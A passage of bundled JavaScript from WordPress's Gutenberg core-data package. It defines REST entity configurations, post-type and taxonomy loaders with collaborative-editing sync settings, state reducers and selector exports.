14549 label: (0, import_i18n.__)("Widget areas")
14550 },
14551 {
14552 name: "widget",
14553 kind: "root",
14554 baseURL: "/wp/v2/widgets",
14555 baseURLParams: { context: "edit" },
14556 plural: "widgets",
14557 transientEdits: { blocks: true },
14558 label: (0, import_i18n.__)("Widgets")
14559 },
14560 {
14561 name: "widgetType",
14562 kind: "root",
14563 baseURL: "/wp/v2/widget-types",
14564 baseURLParams: { context: "edit" },
14565 plural: "widgetTypes",
14566 label: (0, import_i18n.__)("Widget types")
14567 },
14568 {
14569 label: (0, import_i18n.__)("User"),
14570 name: "user",
14571 kind: "root",
14572 baseURL: "/wp/v2/users",
14573 getTitle: (record) => record?.name || record?.slug,
14574 baseURLParams: { context: "edit" },
14575 plural: "users",
14576 supportsPagination: true
14577 },
14578 {
14579 name: "comment",
14580 kind: "root",
14581 baseURL: "/wp/v2/comments",
14582 baseURLParams: { context: "edit" },
14583 plural: "comments",
14584 label: (0, import_i18n.__)("Comment"),
14585 supportsPagination: true,
14586 syncConfig: defaultCollectionSyncConfig
14587 },
14588 {
14589 name: "menu",
14590 kind: "root",
14591 baseURL: "/wp/v2/menus",
14592 baseURLParams: { context: "edit" },
14593 plural: "menus",
14594 label: (0, import_i18n.__)("Menu"),
14595 supportsPagination: true
14596 },
14597 {
14598 name: "menuItem",
14599 kind: "root",
14600 baseURL: "/wp/v2/menu-items",
14601 baseURLParams: { context: "edit" },
14602 plural: "menuItems",
14603 label: (0, import_i18n.__)("Menu Item"),
14604 rawAttributes: ["title"],
14605 supportsPagination: true
14606 },
14607 {
14608 name: "menuLocation",
14609 kind: "root",
14610 baseURL: "/wp/v2/menu-locations",
14611 baseURLParams: { context: "edit" },
14612 plural: "menuLocations",
14613 label: (0, import_i18n.__)("Menu Location"),
14614 key: "name"
14615 },
14616 {
14617 label: (0, import_i18n.__)("Global Styles"),
14618 name: "globalStyles",
14619 kind: "root",
14620 baseURL: "/wp/v2/global-styles",
14621 baseURLParams: { context: "edit" },
14622 plural: "globalStylesVariations",
14623 // Should be different from name.
14624 getTitle: () => (0, import_i18n.__)("Custom Styles"),
14625 getRevisionsUrl: (parentId, revisionId) => `/wp/v2/global-styles/${parentId}/revisions${revisionId ? "/" + revisionId : ""}`,
14626 supportsPagination: true
14627 },
14628 {
14629 label: (0, import_i18n.__)("Themes"),
14630 name: "theme",
14631 kind: "root",
14632 baseURL: "/wp/v2/themes",
14633 baseURLParams: { context: "edit" },
14634 plural: "themes",
14635 key: "stylesheet"
14636 },
14637 {
14638 label: (0, import_i18n.__)("Plugins"),
14639 name: "plugin",
14640 kind: "root",
14641 baseURL: "/wp/v2/plugins",
14642 baseURLParams: { context: "edit" },
14643 plural: "plugins",
14644 key: "plugin"
14645 },
14646 {
14647 label: (0, import_i18n.__)("Status"),
14648 name: "status",
14649 kind: "root",
14650 baseURL: "/wp/v2/statuses",
14651 baseURLParams: { context: "edit" },
14652 plural: "statuses",
14653 key: "slug"
14654 },
14655 {
14656 label: (0, import_i18n.__)("Registered Templates"),
14657 name: "registeredTemplate",
14658 kind: "root",
14659 baseURL: "/wp/v2/registered-templates",
14660 key: "id"
14661 },
14662 {
14663 label: (0, import_i18n.__)("Font Collections"),
14664 name: "fontCollection",
14665 kind: "root",
14666 baseURL: "/wp/v2/font-collections",
14667 baseURLParams: { context: "view" },
14668 plural: "fontCollections",
14669 key: "slug"
14670 },
14671 {
14672 label: (0, import_i18n.__)("Icons"),
14673 name: "icon",
14674 kind: "root",
14675 baseURL: "/wp/v2/icons",
14676 baseURLParams: { context: "view" },
14677 plural: "icons",
14678 key: "name"
14679 }
14680 ];
14681 var deprecatedEntities = {
14682 root: {
14683 media: {
14684 since: "6.9",
14685 alternative: {
14686 kind: "postType",
14687 name: "attachment"
14688 }
14689 }
14690 }
14691 };
14692 var additionalEntityConfigLoaders = [
14693 { kind: "postType", loadEntities: loadPostTypeEntities },
14694 { kind: "taxonomy", loadEntities: loadTaxonomyEntities },
14695 {
14696 kind: "root",
14697 name: "site",
14698 plural: "sites",
14699 loadEntities: loadSiteEntity
14700 }
14701 ];
14702 var prePersistPostType = async (persistedRecord, edits, name, isTemplate) => {
14703 const newEdits = {};
14704 if (!isTemplate && persistedRecord?.status === "auto-draft") {
14705 if (!edits.status && !newEdits.status) {
14706 newEdits.status = "draft";
14707 }
14708 if ((!edits.title || edits.title === "Auto Draft") && !newEdits.title && (!persistedRecord?.title || persistedRecord?.title === "Auto Draft")) {
14709 newEdits.title = "";
14710 }
14711 }
14712 if (persistedRecord) {
14713 const objectType = `postType/${name}`;
14714 const objectId = persistedRecord.id;
14715 const serializedDoc = await getSyncManager()?.createPersistedCRDTDoc(
14716 objectType,
14717 objectId
14718 );
14719 if (serializedDoc) {
14720 newEdits.meta = {
14721 ...edits.meta,
14722 [POST_META_KEY_FOR_CRDT_DOC_PERSISTENCE]: serializedDoc
14723 };
14724 }
14725 }
14726 return newEdits;
14727 };
14728 async function loadPostTypeEntities() {
14729 const postTypesPromise = (0, import_api_fetch2.default)({ path: "/wp/v2/types?context=view" });
14730 const taxonomiesPromise = window._wpCollaborationEnabled ? (0, import_api_fetch2.default)({ path: "/wp/v2/taxonomies?context=view" }) : Promise.resolve({});
14731 const [postTypes, taxonomies] = await Promise.all([
14732 postTypesPromise,
14733 taxonomiesPromise
14734 ]);
14735 return Object.entries(postTypes ?? {}).map(([name, postType]) => {
14736 const isTemplate = ["wp_template", "wp_template_part"].includes(
14737 name
14738 );
14739 const namespace = postType?.rest_namespace ?? "wp/v2";
14740 const syncedProperties = /* @__PURE__ */ new Set([
14741 "author",
14742 "blocks",
14743 "content",
14744 "comment_status",
14745 "date",
14746 "excerpt",
14747 "featured_media",
14748 "format",
14749 "meta",
14750 "ping_status",
14751 "slug",
14752 "status",
14753 "sticky",
14754 "template",
14755 "title",
14756 ...postType.taxonomies?.map((taxonomy) => taxonomies?.[taxonomy]?.rest_base)?.filter(Boolean) ?? []
14757 ]);
14758 const entity2 = {
14759 kind: "postType",
14760 baseURL: `/${namespace}/${postType.rest_base}`,
14761 baseURLParams: { context: "edit" },
14762 name,
14763 label: postType.name,
14764 transientEdits: {
14765 ...blocksTransientEdits,
14766 selection: true
14767 },
14768 mergedEdits: { meta: true },
14769 rawAttributes: POST_RAW_ATTRIBUTES,
14770 getTitle: (record) => record?.title?.rendered || record?.title || (isTemplate ? capitalCase(record.slug ?? "") : String(record.id)),
14771 __unstablePrePersist: (persistedRecord, edits) => prePersistPostType(persistedRecord, edits, name, isTemplate),
14772 __unstable_rest_base: postType.rest_base,
14773 supportsPagination: true,
14774 getRevisionsUrl: (parentId, revisionId) => `/${namespace}/${postType.rest_base}/${parentId}/revisions${revisionId ? "/" + revisionId : ""}`,
14775 revisionKey: isTemplate && !window?.__experimentalTemplateActivate ? "wp_id" : DEFAULT_ENTITY_KEY
14776 };
14777 entity2.syncConfig = {
14778 /**
14779 * Apply changes from the local editor to the local CRDT document so
14780 * that those changes can be synced to other peers (via the provider).
14781 *
14782 * @param {import('@wordpress/sync').CRDTDoc} crdtDoc
14783 * @param {Partial< import('@wordpress/sync').ObjectData >} changes
14784 * @return {void}
14785 */
14786 applyChangesToCRDTDoc: (crdtDoc, changes) => applyPostChangesToCRDTDoc(crdtDoc, changes, syncedProperties),
14787 /**
14788 * Create the awareness instance for the entity's CRDT document.
14789 *
14790 * @param {import('@wordpress/sync').CRDTDoc} ydoc
14791 * @param {import('@wordpress/sync').ObjectID} objectId
14792 * @return {import('@wordpress/sync').Awareness} Awareness instance
14793 */
14794 createAwareness: (ydoc, objectId) => {
14795 const kind = "postType";
14796 const id2 = parseInt(objectId, 10);
14797 return new PostEditorAwareness(ydoc, kind, name, id2);
14798 },
14799 /**
14800 * Extract changes from a CRDT document that can be used to update the
14801 * local editor state.
14802 *
14803 * @param {import('@wordpress/sync').CRDTDoc} crdtDoc
14804 * @param {import('@wordpress/sync').ObjectData} editedRecord
14805 * @return {Partial< import('@wordpress/sync').ObjectData >} Changes to record
14806 */
14807 getChangesFromCRDTDoc: (crdtDoc, editedRecord) => getPostChangesFromCRDTDoc(
14808 crdtDoc,
14809 editedRecord,
14810 syncedProperties
14811 ),
14812 /**
14813 * Extract changes from a CRDT document that can be used to update the
14814 * local editor state.
14815 *
14816 * @param {import('@wordpress/sync').ObjectData} record
14817 * @return {Partial< import('@wordpress/sync').ObjectData >} Changes to record
14818 */
14819 getPersistedCRDTDoc: (record) => {
14820 return record?.meta?.[POST_META_KEY_FOR_CRDT_DOC_PERSISTENCE] || null;
14821 }
14822 };
14823 return entity2;
14824 });
14825 }
14826 async function loadTaxonomyEntities() {
14827 const taxonomies = await (0, import_api_fetch2.default)({
14828 path: "/wp/v2/taxonomies?context=view"
14829 });
14830 return Object.entries(taxonomies ?? {}).map(([name, taxonomy]) => {
14831 const namespace = taxonomy?.rest_namespace ?? "wp/v2";
14832 const entity2 = {
14833 kind: "taxonomy",
14834 baseURL: `/${namespace}/${taxonomy.rest_base}`,
14835 baseURLParams: { context: "edit" },
14836 name,
14837 label: taxonomy.name,
14838 getTitle: (record) => record?.name,
14839 supportsPagination: true
14840 };
14841 entity2.syncConfig = defaultSyncConfig;
14842 return entity2;
14843 });
14844 }
14845 async function loadSiteEntity() {
14846 const entity2 = {
14847 label: (0, import_i18n.__)("Site"),
14848 name: "site",
14849 kind: "root",
14850 key: false,
14851 baseURL: "/wp/v2/settings",
14852 meta: {}
14853 };
14854 const site = await (0, import_api_fetch2.default)({
14855 path: entity2.baseURL,
14856 method: "OPTIONS"
14857 });
14858 const labels = {};
14859 Object.entries(site?.schema?.properties ?? {}).forEach(
14860 ([key, value]) => {
14861 if (typeof value === "object" && value.title) {
14862 labels[key] = value.title;
14863 }
14864 }
14865 );
14866 return [{ ...entity2, meta: { labels } }];
14867 }
14868 var getMethodName = (kind, name, prefix = "get") => {
14869 const kindPrefix = kind === "root" ? "" : pascalCase(kind);
14870 const suffix = pascalCase(name);
14871 return `${prefix}${kindPrefix}${suffix}`;
14872 };
14873
14874 // packages/core-data/build-module/queried-data/reducer.mjs
14875 function getContextFromAction(action) {
14876 const { query } = action;
14877 if (!query) {
14878 return "default";
14879 }
14880 const queryParts = get_query_parts_default(query);
14881 return queryParts.context;
14882 }
14883 function getMergedItemIds(itemIds, nextItemIds, page, perPage) {
14884 const receivedAllIds = page === 1 && perPage === -1;
14885 if (receivedAllIds) {
14886 return nextItemIds;
14887 }
14888 const nextItemIdsStartIndex = (page - 1) * perPage;
14889 const size2 = Math.max(
14890 itemIds?.length ?? 0,
14891 nextItemIdsStartIndex + nextItemIds.length
14892 );
14893 const mergedItemIds = new Array(size2);
14894 for (let i = 0; i < size2; i++) {
14895 const isInNextItemsRange = i >= nextItemIdsStartIndex && i < nextItemIdsStartIndex + perPage;
14896 mergedItemIds[i] = isInNextItemsRange ? nextItemIds[i - nextItemIdsStartIndex] : itemIds?.[i];
14897 }
14898 return mergedItemIds;
14899 }
14900 function removeEntitiesById(entities2, ids) {
14901 return Object.fromEntries(
14902 Object.entries(entities2).filter(
14903 ([id2]) => !ids.some((itemId) => {
14904 if (Number.isInteger(itemId)) {
14905 return itemId === +id2;
14906 }
14907 return itemId === id2;
14908 })
14909 )
14910 );
14911 }
14912 function items(state = {}, action) {
14913 switch (action.type) {
14914 case "RECEIVE_ITEMS": {
14915 const context = getContextFromAction(action);
14916 const key = action.key || DEFAULT_ENTITY_KEY;
14917 const itemsList = Array.isArray(action.items) ? action.items : [action.items];
14918 return {
14919 ...state,
14920 [context]: {
14921 ...state[context],
14922 ...Object.fromEntries(
14923 itemsList.map((item) => [
14924 item?.[key],
14925 conservativeMapItem(
14926 state?.[context]?.[item?.[key]],
14927 item
14928 )
14929 ])
14930 )
14931 }
14932 };
14933 }
14934 case "REMOVE_ITEMS":
14935 return Object.fromEntries(
14936 Object.entries(state).map(([itemId, contextState]) => [
14937 itemId,
14938 removeEntitiesById(contextState, action.itemIds)
14939 ])
14940 );
14941 }
14942 return state;
14943 }
14944 function itemIsComplete(state = {}, action) {
14945 switch (action.type) {
14946 case "RECEIVE_ITEMS": {
14947 const context = getContextFromAction(action);
14948 const { query, key = DEFAULT_ENTITY_KEY } = action;
14949 const itemsList = Array.isArray(action.items) ? action.items : [action.items];
14950 const queryParts = query ? get_query_parts_default(query) : {};
14951 const isCompleteQuery = !query || !Array.isArray(queryParts.fields);
14952 return {
14953 ...state,
14954 [context]: {
14955 ...state[context],
14956 ...itemsList.reduce((result, item) => {
14957 const itemId = item?.[key];
14958 result[itemId] = state?.[context]?.[itemId] || isCompleteQuery;
14959 return result;
14960 }, {})
14961 }
14962 };
14963 }
14964 case "REMOVE_ITEMS":
14965 return Object.fromEntries(
14966 Object.entries(state).map(([itemId, contextState]) => [
14967 itemId,
14968 removeEntitiesById(contextState, action.itemIds)
14969 ])
14970 );
14971 }
14972 return state;
14973 }
14974 var receiveQueries = (0, import_compose.compose)([
14975 // Limit to matching action type so we don't attempt to replace action on
14976 // an unhandled action.
14977 if_matching_action_default((action) => "query" in action),
14978 // Inject query parts into action for use both in `onSubKey` and reducer.
14979 replace_action_default((action) => {
14980 if (action.query) {
14981 return {
14982 ...action,
14983 ...get_query_parts_default(action.query)
14984 };
14985 }
14986 return action;
14987 }),
14988 on_sub_key_default("context"),
14989 // Queries shape is shared, but keyed by query `stableKey` part. Original
14990 // reducer tracks only a single query object.
14991 on_sub_key_default("stableKey")
14992 ])((state = {}, action) => {
14993 if (action.type !== "RECEIVE_ITEMS") {
14994 return state;
14995 }
14996 if (!Array.isArray(action.items)) {
14997 return state;
14998 }
14999 const key = action.key ?? DEFAULT_ENTITY_KEY;
15000 return {
15001 itemIds: getMergedItemIds(
15002 state?.itemIds || [],
15003 action.items.map((item) => item?.[key]).filter(Boolean),
15004 action.page,
15005 action.perPage
15006 ),
15007 meta: action.meta
15008 };
15009 });
15010 var queries = (state = {}, action) => {
15011 switch (action.type) {
15012 case "RECEIVE_ITEMS":
15013 return receiveQueries(state, action);
15014 case "REMOVE_ITEMS":
15015 const removedItems = action.itemIds.reduce((result, itemId) => {
15016 result[itemId] = true;
15017 return result;
15018 }, {});
15019 return Object.fromEntries(
15020 Object.entries(state).map(
15021 ([queryGroup, contextQueries]) => [
15022 queryGroup,
15023 Object.fromEntries(
15024 Object.entries(contextQueries).map(
15025 ([query, queryItems]) => [
15026 query,
15027 {
15028 ...queryItems,
15029 itemIds: queryItems.itemIds.filter(
15030 (queryId) => !removedItems[queryId]
15031 )
15032 }
15033 ]
15034 )
15035 )
15036 ]
15037 )
15038 );
15039 default:
15040 return state;
15041 }
15042 };
15043 var reducer_default = (0, import_data7.combineReducers)({
15044 items,
15045 itemIsComplete,
15046 queries
15047 });
15048
15049 // packages/core-data/build-module/reducer.mjs
15050 function users(state = { byId: {}, queries: {} }, action) {
15051 switch (action.type) {
15052 case "RECEIVE_USER_QUERY":
15053 return {
15054 byId: {
15055 ...state.byId,
15056 // Key users by their ID.
15057 ...action.users.reduce(
15058 (newUsers, user) => ({
15059 ...newUsers,
15060 [user.id]: user
15061 }),
15062 {}
15063 )
15064 },
15065 queries: {
15066 ...state.queries,
15067 [action.queryID]: action.users.map((user) => user.id)
15068 }
15069 };
15070 }
15071 return state;
15072 }
15073 function currentUser(state = {}, action) {
15074 switch (action.type) {
15075 case "RECEIVE_CURRENT_USER":
15076 return action.currentUser;
15077 }
15078 return state;
15079 }
15080 function currentTheme(state = void 0, action) {
15081 switch (action.type) {
15082 case "RECEIVE_CURRENT_THEME":
15083 return action.currentTheme.stylesheet;
15084 }
15085 return state;
15086 }
15087 function currentGlobalStylesId(state = void 0, action) {
15088 switch (action.type) {
15089 case "RECEIVE_CURRENT_GLOBAL_STYLES_ID":
15090 return action.id;
15091 }
15092 return state;
15093 }
15094 function themeBaseGlobalStyles(state = {}, action) {
15095 switch (action.type) {
15096 case "RECEIVE_THEME_GLOBAL_STYLES":
15097 return {
15098 ...state,
15099 [action.stylesheet]: action.globalStyles
15100 };
15101 }
15102 return state;
15103 }
15104 function themeGlobalStyleVariations(state = {}, action) {
15105 switch (action.type) {
15106 case "RECEIVE_THEME_GLOBAL_STYLE_VARIATIONS":
15107 return {
15108 ...state,
15109 [action.stylesheet]: action.variations
15110 };
15111 }
15112 return state;
15113 }
15114 var withMultiEntityRecordEdits = (reducer) => (state, action) => {
15115 if (action.type === "UNDO" || action.type === "REDO") {
15116 const { record } = action;
15117 let newState = state;
15118 record.forEach(({ id: { kind, name, recordId }, changes }) => {
15119 newState = reducer(newState, {
15120 type: "EDIT_ENTITY_RECORD",
15121 kind,
15122 name,
15123 recordId,
15124 edits: Object.entries(changes).reduce(
15125 (acc, [key, value]) => {
15126 acc[key] = action.type === "UNDO" ? value.from : value.to;
15127 return acc;
15128 },
15129 {}
15130 )
15131 });
15132 });
15133 return newState;
15134 }
15135 return reducer(state, action);
15136 };
15137 function entity(entityConfig) {
15138 return (0, import_compose2.compose)([
15139 withMultiEntityRecordEdits,
15140 // Limit to matching action type so we don't attempt to replace action on
15141 // an unhandled action.
15142 if_matching_action_default(
15143 (action) => action.name && action.kind && action.name === entityConfig.name && action.kind === entityConfig.kind
15144 ),
15145 // Inject the entity config into the action.
15146 replace_action_default((action) => {
15147 return {
15148 key: entityConfig.key || DEFAULT_ENTITY_KEY,
15149 ...action
15150 };
15151 })
15152 ])(
15153 (0, import_data8.combineReducers)({
15154 queriedData: reducer_default,
15155 edits: (state = {}, action) => {
15156 switch (action.type) {
15157 case "RECEIVE_ITEMS":
15158 const context = action?.query?.context ?? "default";
15159 if (context !== "default") {
15160 return state;
15161 }
15162 const nextState = { ...state };
15163 const itemsList = Array.isArray(action.items) ? action.items : [action.items];
15164 for (const record of itemsList) {
15165 const recordId = record?.[action.key];
15166 const edits = nextState[recordId];
15167 if (!edits) {
15168 continue;
15169 }
15170 const nextEdits2 = Object.keys(edits).reduce(
15171 (acc, key) => {
15172 if (
15173 // Edits are the "raw" attribute values, but records may have
15174 // objects with more properties, so we use `get` here for the
15175 // comparison.
15176 !(0, import_es66.default)(
15177 edits[key],
15178 record[key]?.raw ?? record[key]
15179 ) && // Sometimes the server alters the sent value which means
15180 // we need to also remove the edits before the api request.
15181 (!action.persistedEdits || !(0, import_es66.default)(
15182 edits[key],
15183 action.persistedEdits[key]
15184 ))
15185 ) {
15186 acc[key] = edits[key];
15187 }
15188 return acc;
15189 },
15190 {}
15191 );
15192 if (Object.keys(nextEdits2).length) {
15193 nextState[recordId] = nextEdits2;
15194 } else {
15195 delete nextState[recordId];
15196 }
15197 }
15198 return nextState;
15199 case "EDIT_ENTITY_RECORD":
15200 const nextEdits = {
15201 ...state[action.recordId],
15202 ...action.edits
15203 };
15204 Object.keys(nextEdits).forEach((key) => {
15205 if (nextEdits[key] === void 0) {
15206 delete nextEdits[key];
15207 }
15208 });
15209 return {
15210 ...state,
15211 [action.recordId]: nextEdits
15212 };
15213 }
15214 return state;
15215 },
15216 saving: (state = {}, action) => {
15217 switch (action.type) {
15218 case "SAVE_ENTITY_RECORD_START":
15219 case "SAVE_ENTITY_RECORD_FINISH":
15220 return {
15221 ...state,
15222 [action.recordId]: {
15223 pending: action.type === "SAVE_ENTITY_RECORD_START",
15224 error: action.error,
15225 isAutosave: action.isAutosave
15226 }
15227 };
15228 }
15229 return state;
15230 },
15231 deleting: (state = {}, action) => {
15232 switch (action.type) {
15233 case "DELETE_ENTITY_RECORD_START":
15234 case "DELETE_ENTITY_RECORD_FINISH":
15235 return {
15236 ...state,
15237 [action.recordId]: {
15238 pending: action.type === "DELETE_ENTITY_RECORD_START",
15239 error: action.error
15240 }
15241 };
15242 }
15243 return state;
15244 },
15245 revisions: (state = {}, action) => {
15246 if (action.type === "RECEIVE_ITEM_REVISIONS") {
15247 const recordKey = action.recordKey;
15248 delete action.recordKey;
15249 const newState = reducer_default(state[recordKey], {
15250 ...action,
15251 type: "RECEIVE_ITEMS"
15252 });
15253 return {
15254 ...state,
15255 [recordKey]: newState
15256 };
15257 }
15258 if (action.type === "REMOVE_ITEMS") {
15259 return Object.fromEntries(
15260 Object.entries(state).filter(
15261 ([id2]) => !action.itemIds.some((itemId) => {
15262 if (Number.isInteger(itemId)) {
15263 return itemId === +id2;
15264 }
15265 return itemId === id2;
15266 })
15267 )
15268 );
15269 }
15270 return state;
15271 }
15272 })
15273 );
15274 }
15275 function entitiesConfig(state = rootEntitiesConfig, action) {
15276 switch (action.type) {
15277 case "ADD_ENTITIES":
15278 return [...state, ...action.entities];
15279 }
15280 return state;
15281 }
15282 var entities = (state = {}, action) => {
15283 const newConfig = entitiesConfig(state.config, action);
15284 let entitiesDataReducer = state.reducer;
15285 if (!entitiesDataReducer || newConfig !== state.config) {
15286 const entitiesByKind = newConfig.reduce((acc, record) => {
15287 const { kind } = record;
15288 if (!acc[kind]) {
15289 acc[kind] = [];
15290 }
15291 acc[kind].push(record);
15292 return acc;
15293 }, {});
15294 entitiesDataReducer = (0, import_data8.combineReducers)(
15295 Object.fromEntries(
15296 Object.entries(entitiesByKind).map(
15297 ([kind, subEntities]) => {
15298 const kindReducer = (0, import_data8.combineReducers)(
15299 Object.fromEntries(
15300 subEntities.map((entityConfig) => [
15301 entityConfig.name,
15302 entity(entityConfig)
15303 ])
15304 )
15305 );
15306 return [kind, kindReducer];
15307 }
15308 )
15309 )
15310 );
15311 }
15312 const newData = entitiesDataReducer(state.records, action);
15313 if (newData === state.records && newConfig === state.config && entitiesDataReducer === state.reducer) {
15314 return state;
15315 }
15316 return {
15317 reducer: entitiesDataReducer,
15318 records: newData,
15319 config: newConfig
15320 };
15321 };
15322 function undoManager(state = (0, import_undo_manager2.createUndoManager)()) {
15323 return state;
15324 }
15325 function editsReference(state = {}, action) {
15326 switch (action.type) {
15327 case "EDIT_ENTITY_RECORD":
15328 case "UNDO":
15329 case "REDO":
15330 return {};
15331 }
15332 return state;
15333 }
15334 function embedPreviews(state = {}, action) {
15335 switch (action.type) {
15336 case "RECEIVE_EMBED_PREVIEW":
15337 const { url, preview } = action;
15338 return {
15339 ...state,
15340 [url]: preview
15341 };
15342 }
15343 return state;
15344 }
15345 function userPermissions(state = {}, action) {
15346 switch (action.type) {
15347 case "RECEIVE_USER_PERMISSION":
15348 return {
15349 ...state,
15350 [action.key]: action.isAllowed
15351 };
15352 case "RECEIVE_USER_PERMISSIONS":
15353 return {
15354 ...state,
15355 ...action.permissions
15356 };
15357 }
15358 return state;
15359 }
15360 function autosaves(state = {}, action) {
15361 switch (action.type) {
15362 case "RECEIVE_AUTOSAVES":
15363 const { postId, autosaves: autosavesData } = action;
15364 return {
15365 ...state,
15366 [postId]: autosavesData
15367 };
15368 }
15369 return state;
15370 }
15371 function blockPatterns(state = [], action) {
15372 switch (action.type) {
15373 case "RECEIVE_BLOCK_PATTERNS":
15374 return action.patterns;
15375 }
15376 return state;
15377 }
15378 function blockPatternCategories(state = [], action) {
15379 switch (action.type) {
15380 case "RECEIVE_BLOCK_PATTERN_CATEGORIES":
15381 return action.categories;
15382 }
15383 return state;
15384 }
15385 function userPatternCategories(state = [], action) {
15386 switch (action.type) {
15387 case "RECEIVE_USER_PATTERN_CATEGORIES":
15388 return action.patternCategories;
15389 }
15390 return state;
15391 }
15392 function navigationFallbackId(state = null, action) {
15393 switch (action.type) {
15394 case "RECEIVE_NAVIGATION_FALLBACK_ID":
15395 return action.fallbackId;
15396 }
15397 return state;
15398 }
15399 function themeGlobalStyleRevisions(state = {}, action) {
15400 switch (action.type) {
15401 case "RECEIVE_THEME_GLOBAL_STYLE_REVISIONS":
15402 return {
15403 ...state,
15404 [action.currentId]: action.revisions
15405 };
15406 }
15407 return state;
15408 }
15409 function defaultTemplates(state = {}, action) {
15410 switch (action.type) {
15411 case "RECEIVE_DEFAULT_TEMPLATE":
15412 return {
15413 ...state,
15414 [JSON.stringify(action.query)]: action.templateId
15415 };
15416 }
15417 return state;
15418 }
15419 function registeredPostMeta(state = {}, action) {
15420 switch (action.type) {
15421 case "RECEIVE_REGISTERED_POST_META":
15422 return {
15423 ...state,
15424 [action.postType]: action.registeredPostMeta
15425 };
15426 }
15427 return state;
15428 }
15429 function editorSettings(state = null, action) {
15430 switch (action.type) {
15431 case "RECEIVE_EDITOR_SETTINGS":
15432 return action.settings;
15433 }
15434 return state;
15435 }
15436 function editorAssets(state = null, action) {
15437 switch (action.type) {
15438 case "RECEIVE_EDITOR_ASSETS":
15439 return action.assets;
15440 }
15441 return state;
15442 }
15443 function syncConnectionStatuses(state = {}, action) {
15444 switch (action.type) {
15445 case "SET_SYNC_CONNECTION_STATUS": {
15446 const key = `${action.kind}/${action.name}:${action.key}`;
15447 return {
15448 ...state,
15449 [key]: action.status
15450 };
15451 }
15452 case "CLEAR_SYNC_CONNECTION_STATUS": {
15453 const key = `${action.kind}/${action.name}:${action.key}`;
15454 const { [key]: _, ...rest } = state;
15455 return rest;
15456 }
15457 }
15458 return state;
15459 }
15460 function collaborationSupported(state = true, action) {
15461 switch (action.type) {
15462 case "SET_COLLABORATION_SUPPORTED":
15463 return action.supported;
15464 case "SET_SYNC_CONNECTION_STATUS":
15465 if (ConnectionErrorCode2.DOCUMENT_SIZE_LIMIT_EXCEEDED === action.status?.error?.code) {
15466 return false;
15467 }
15468 return state;
15469 }
15470 return state;
15471 }
15472 var reducer_default2 = (0, import_data8.combineReducers)({
15473 users,
15474 currentTheme,
15475 currentGlobalStylesId,
15476 currentUser,
15477 themeGlobalStyleVariations,
15478 themeBaseGlobalStyles,
15479 themeGlobalStyleRevisions,
15480 entities,
15481 editsReference,
15482 undoManager,
15483 embedPreviews,
15484 userPermissions,
15485 autosaves,
15486 blockPatterns,
15487 blockPatternCategories,
15488 userPatternCategories,
15489 navigationFallbackId,
15490 defaultTemplates,
15491 registeredPostMeta,
15492 editorSettings,
15493 editorAssets,
15494 syncConnectionStatuses,
15495 collaborationSupported
15496 });
15497
15498 // packages/core-data/build-module/selectors.mjs
15499 var selectors_exports = {};
15500 __export(selectors_exports, {
15501 __experimentalGetCurrentGlobalStylesId: () => __experimentalGetCurrentGlobalStylesId,
15502 __experimentalGetCurrentThemeBaseGlobalStyles: () => __experimentalGetCurrentThemeBaseGlobalStyles,
15503 __experimentalGetCurrentThemeGlobalStylesVariations: () => __experimentalGetCurrentThemeGlobalStylesVariations,
15504 __experimentalGetDirtyEntityRecords: () => __experimentalGetDirtyEntityRecords,
15505 __experimentalGetEntitiesBeingSaved: () => __experimentalGetEntitiesBeingSaved,
15506 __experimentalGetEntityRecordNoResolver: () => __experimentalGetEntityRecordNoResolver,
15507 canUser: () => canUser,
15508 canUserEditEntityRecord: () => canUserEditEntityRecord,
15509 getAuthors: () => getAuthors,
15510 getAutosave: () => getAutosave,
15511 getAutosaves: () => getAutosaves,
15512 getBlockPatternCategories: () => getBlockPatternCategories,
15513 getBlockPatterns: () => getBlockPatterns,
15514 getCurrentTheme: () => getCurrentTheme,
15515 getCurrentThemeGlobalStylesRevisions: () => getCurrentThemeGlobalStylesRevisions,
15516 getCurrentUser: () => getCurrentUser,
15517 getDefaultTemplateId: () => getDefaultTemplateId,
15518 getEditedEntityRecord: () => getEditedEntityRecord,
15519 getEmbedPreview: () => getEmbedPreview,
15520 getEntitiesByKind: () => getEntitiesByKind,
15521 getEntitiesConfig: () => getEntitiesConfig,
15522 getEntity: () => getEntity,
15523 getEntityConfig: () => getEntityConfig,
15524 getEntityRecord: () => getEntityRecord,
15525 getEntityRecordEdits: () => getEntityRecordEdits,
15526 getEntityRecordNonTransientEdits: () => getEntityRecordNonTransientEdits,
15527 getEntityRecords: () => getEntityRecords,
15528 getEntityRecordsTotalItems: () => getEntityRecordsTotalItems,
15529 getEntityRecordsTotalPages: () => getEntityRecordsTotalPages,
15530 getLastEntityDeleteError: () => getLastEntityDeleteError,
15531 getLastEntitySaveError: () => getLastEntitySaveError,
15532 getRawEntityRecord: () => getRawEntityRecord,
15533 getRedoEdit: () => getRedoEdit,
15534 getReferenceByDistinctEdits: () => getReferenceByDistinctEdits,
15535 getRevision: () => getRevision,
15536 getRevisions: () => getRevisions,
15537 getThemeSupports: () => getThemeSupports,
15538 getUndoEdit: () => getUndoEdit,
15539 getUserPatternCategories: () => getUserPatternCategories,
15540 getUserQueryResults: () => getUserQueryResults,
15541 hasEditsForEntityRecord: () => hasEditsForEntityRecord,
15542 hasEntityRecord: () => hasEntityRecord,
15543 hasEntityRecords: () => hasEntityRecords,
15544 hasFetchedAutosaves: () => hasFetchedAutosaves,
15545 hasRedo: () => hasRedo,
15546 hasUndo: () => hasUndo,
15547 isAutosavingEntityRecord: () => isAutosavingEntityRecord,
15548 isDeletingEntityRecord: () => isDeletingEntityRecord,
15549 isPreviewEmbedFallback: () => isPreviewEmbedFallback,
15550 isRequestingEmbedPreview: () => isRequestingEmbedPreview,
15551 isSavingEntityRecord: () => isSavingEntityRecord
15552 });
15553 var import_data10 = __toESM(require_data(), 1);
15554 var import_url2 = __toESM(require_url(), 1);
15555 var import_deprecated2 = __toESM(require_deprecated(), 1);
15556
15557 // packages/core-data/build-module/private-selectors.mjs
15558 var private_selectors_exports = {};
15559 __export(private_selectors_exports, {
15560 getBlockPatternsForPostType: () => getBlockPatternsForPostType,
15561 getEditorAssets: () => getEditorAssets,
15562 getEditorSettings: () => getEditorSettings,
15563 getEntityRecordPermissions: () => getEntityRecordPermissions,
15564 getEntityRecordsPermissions: () => getEntityRecordsPermissions,
15565 getHomePage: () => getHomePage,
15566 getNavigationFallbackId: () => getNavigationFallbackId,
15567 getPostsPageId: () => getPostsPageId,
15568 getRegisteredPostMeta: () => getRegisteredPostMeta,
15569 getSyncConnectionStatus: () => getSyncConnectionStatus,
